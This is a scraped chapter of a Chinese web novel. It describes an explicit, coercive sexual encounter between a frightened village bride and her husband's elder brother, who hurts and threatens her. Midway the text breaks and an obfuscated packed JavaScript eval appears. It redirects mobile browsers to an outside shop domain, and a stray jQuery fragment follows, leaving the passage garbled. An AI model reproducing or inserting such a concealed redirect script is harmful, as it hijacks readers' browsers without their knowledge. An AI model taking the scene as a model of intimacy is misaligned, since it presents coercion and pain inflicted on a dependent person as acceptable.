疼。
比割麦时镰刀割到手还疼,比赤脚踩在碎石子上还痛。
翠仙受不住那阵疼,两腿胡乱蹬着,抹着眼泪告饶:“大郎君,不成了不成了……求求您饶了我罢。”
裴鹤卿沉默了一会儿,便不再动作了。
翠仙以为终于熬到了头。
她暗自松了口气,嘴里忙不迭搬出往日从柳寡妇窗下偷听来的好话夸他:“大郎君,您身子真壮实,一撞一撞的,快把魂儿顶飞了!”
她虽不懂这句话是什么意思,但每回柳寡妇说完,屋里的男人总会满意地叫唤一声。
拽她去听墙角的翠莲耳朵贴着墙根,兴奋地小声说:“你听,这就是夸到男人心窝子上了。男人一旦满意,柳寡妇便得钱了。”
果然,等男人走后,她趴在窗缝上往里一瞄,只见柳寡妇披着一件衫子坐在地上数铜板。
那脸上的笑,比收了庄稼还高兴。
翠仙分神瞟了一眼身边的裴鹤卿。
他一动不动地躺在里侧,拿手捂着眼睛,却不吭声。
她心里打起鼓来,疑心自己没夸到他心窝子上,搜肠刮肚地又想起一句,赶紧补上:“大郎君,您那根脊梁骨,顶得上三根擀面杖!”
裴鹤卿的身子明显僵了一下。
他自认见多识广,却偏偏听不懂她嘴里接连吐出的粗俗之语。
竟……粗俗到了他闻所未闻的境界。
有那么一瞬,他觉得自己一定是中了邪,才会像个没见过女人的畜.生一样,被王翠仙这么一个又蠢又无趣的村妇搅得失了分寸。
他想把她一脚踹下去。
可脚才伸到一半,她却半遮半掩地挨了过来,散乱的发丝拂过他肩颈:“大郎君,行了么?”
裴鹤卿忽然有些恍惚,眼前莫名浮现一片雪地。
那片雪地泛着昏黄的光,像极了烛火落在旧缎上的颜色。
而在雪地之上,两抹艳色灼得他心头一跳。
他饶有兴致地伸出手,指腹在她肩头轻轻一点,再顺势滑到她心口。
那一点红白,在他掌中变得饱满、坚硬。
全身的血都在往一处奔涌。
他闭上眼,喉结微微滚动,话中带着某种说不清的兴味:“对了,你让我做什么事来着?”
翠仙只当他记性差,自己说了两回竟还记不住。
不过一听他问话,她又认认真真地说了一遍:“大郎君,您这两日莫回城,就在院子里待着。还有,您行行好,替我向夫人带一句话,就说……万一二郎君没了,我愿意去庵里当尼姑。”
经了前世活埋的苦,她这辈子宁愿去做尼姑,也不愿意回家,或再嫁给另一个没见过的男人。
她曾听老和尚讲:卤水点豆腐,一物降一物。
陈姨娘是个妾,上头压着裴刺史的正头娘子卢夫人。
只要卢夫人张一张嘴,说一句“把这丫头给我撵去庵里”的话,陈姨娘肯定就不敢把她嫁出去了,她爹娘也不敢拽她回家了。
裴鹤卿挑眉:“两件事?”
翠仙老实答道:“……算是罢。”
“哦,那还不够。”
她求了两件难办的事,他却只从她身上得到不甚满意的一回。
实在,有失公允。
裴鹤卿欺身而下,不给她一星半点躲闪的余地。
他险些失控。
她满心难受。
翠仙本能地张开嘴,身子紧紧绷着,一声声不受控制的喘息冲破喉咙。
她怕裴鹤卿吵,慌忙抬手死死捂住嘴,把叫嚷堵回喉咙里,只从指头缝中,挣出几声呜呜咽咽的抽气声。
裴鹤卿一掌拍开她捂嘴的手。
翠仙想躲不敢躲,想喊不敢喊,只得委屈地在心里安慰自己:“我求了两件事,他想从我身上赚够本钱,确实是应该的。
她伯父一家在邻镇做生意,偶尔回乡祭祖,便会把她叫到跟前,板着脸教导她:“翠仙啊,这做买卖和做人是一个道理,别人给你一贯钱,你就得给人家一贯的货。”
裴鹤卿原本天一亮便要回城陪亲娘卢夫人,如今却要为了她留在别院,这是他给她的“一贯钱”;她眼下受的苦、受的疼,便是该付的“一贯货”。
可,这也太疼了,疼得她眼泪花都冒了出来。
近在咫尺的裴鹤卿,气息灼热,眼神灼得吓人。
她被捉了手,被拿捏得无力反抗。
整个人几乎悬空,连个借力的地方都寻不着。
五更,裴鹤卿总算肯放过她。
可手指仍停在她颈间,不肯让她顺顺当当地换一口气。
翠仙倒也不怕被他掐着,照旧捡着那些好听的话,热络地夸他:“大郎君,您跟头牛似的有劲,一身牛劲儿使不完,快把地耕透了!”
裴鹤卿哑然失笑。
不知是想听听她嘴里还能编出怎样粗俗不堪的词,抑或他当真中了邪,竟生出一星半点食髓知味的念头。
总之,他不理会她的挣扎,将她两条腿捞起来架在肩头,再次将她卷入其中。
翠仙看着自己的腿在他肩头不住地打颤,小声嘟囔了句,嗓音哑哑的:“大郎君,两回了……您赚够本钱了。”
回答她的,是双腿的一阵剧烈颤动。
以及裴鹤卿俯下身,贴在她耳边留下的一句恶言:“你说,若二弟瞧见你这副丑态,会不会气得立时醒过来?”
“嗯?”
“弟妇?”
上面的裴鹤卿,似笑非笑。
下面的翠仙,想的却是另一回事。
若裴鹤卿一句话气活了裴鹤令,没准能抵消她今夜偷人的罪孽。
她做了一孽,却救了一命,功过相抵,或许死后便不用下十八层地狱,受冰山地狱之苦。
嗯,挺好的一件事。
裴鹤卿等了许久,她却一声不吭。他心底腾起一股无名火,语气更沉了几分:“弟妇,我真该派人把二弟抬过来,让他睁大眼睛瞧瞧,你此刻这副不堪模样。”
说罢,手从暗处抽回,指尖沾了些许湿意。
他将手伸到她眼前,搓了搓手指。
翠仙不明其意,憋了半晌,才红着脸憋出一句:“陈姨娘昨日放了话,说谁敢动二郎君,她便与人拼命。大郎君,陈姨娘是长辈,随身还带着一把磨得发亮的剪子,您别惹她了。”
裴鹤卿的手指僵在半空。
……他是否该感谢这蠢妇的好心提醒?
天将亮时,裴鹤卿懒得再动,又不肯罢休:“你来。”
他好整以暇地斜靠在床头,一只腿伸直,一只腿曲起,手随意搭在膝头。
那双手迟疑地探来,指尖带着怯意,指腹上的茧子刮过。
粗粝,却鲜活。
生涩,却酣畅。
蠢笨,却尽兴。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900462|212918||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>他闭上眼,长出一口气。
他从未这般放浪形骸,从未这般由着心性沉堕。他想荒唐到底,一晌纵情至厌、至尽头、至遍体生倦,以此彻底断绝所有不该起的念想,再无牵挂。
那双手动作生疏,片刻便不知所措。
裴鹤卿不满地睁眼一看,正对上一双窘迫无措的眸子。
翠仙牵了牵嘴角,扯出一个比哭还难看的笑:“大郎君,接下来,我该做什么?”
裴鹤卿没好气地从鼻子里哼出一声:“嗯,花些心思。”
他要她花心思,她便得花些心思。
翠仙歪着头想了想,笨拙地动了动手。
谁知她还没怎么用力,裴鹤卿已一把按住她的手,喘着粗气道:“停……停下。”
翠仙茫然地抬起头:“大郎君,怎么了?”
裴鹤卿扯过锦衾盖住身子,伸脚踹了她一下,力道不轻不重:“他们快回来了,你还不快滚么?”
翠仙瞥了眼天色,见天光已蒙蒙亮,心下一慌,手忙脚乱地滚下榻,从散落一地的衣裳堆里,翻出自己那身粗布衣裙穿上。
穿衣时,她不时能听到身后传来一阵压抑的喘气声。
待她回头去看,却只看见一双满含嫌恶的眼睛。
临走前,翠仙硬着头皮又奔回榻边,扑通跪下:“大郎君,您会帮我办成那两件事的,对不对?”
裴鹤卿伸出手,捏住她的下颌,逼迫她与自己对视:“你与我的事,不可与外人道。”
“我晓得!我晓得!”翠仙使劲点了几下头,高举三指立誓,“菩萨在上:若我将勾引大郎君的事说出去,便叫我五雷轰顶,不得好死!”
偷人的丑事,她哪敢说出去?
裴刺史与卢夫人若是知晓她勾引了裴鹤卿,怕是要将她千刀万剐,再剁碎了丢去野地喂饿狼野狗。
裴鹤卿见她发誓时,一双眼珠子仍滴溜溜乱转,深觉她心思不正。
所幸,对付这等心怀鬼胎之小人,他手中向来有一套百试不爽的狠辣手段——
他的手顺着她的下颌往下滑,指腹掠过脖颈,掠过锁骨,悬停在心口处。
那一捻,力道不轻,带着十足的警告意味。
翠仙疼得倒吸一口凉气,却又不敢躲。
见她蹙眉,裴鹤卿猛地抽回手:“算你识趣。滚罢。”
翠仙站起来,一步三回头地往门边挪。
裴鹤卿嫌她走得慢,冷声催促:“我答应你的事,自然不会失言。你若再敢磨蹭,意图勾引我……那我的话,便不作数了。”
闻言,翠仙三步并作两步往外跑,生怕跑慢了惹裴鹤卿不快,再受一遭被他翻来覆去折腾的苦。
外头天色一寸寸亮了起来。
翠仙浑身都是黏腻的汗,腿根酸得迈不开步子。好在宅院中依旧不见半个人影,足够她一步一步,慢吞吞地走回澄雪院。
整个澄雪院安静如初,一如她昨夜离开之时。
陈姨娘不在,她也不用去东厢请安伺候,陪满房的婢女嬷嬷抹眼泪。
翠仙推开西厢的门,房门吱呀一声开了半扇,露出一个男子的半张面容。
男子坐在榻边,双脚踩在地上。听见开门的声响,他循声望了过来,眉眼弯弯,笑意和煦如春风:“翠仙,你便是我的妻子么?”
翠仙下意识将披袄往上提了提,双手拢紧,怯生生应了句:“……是。”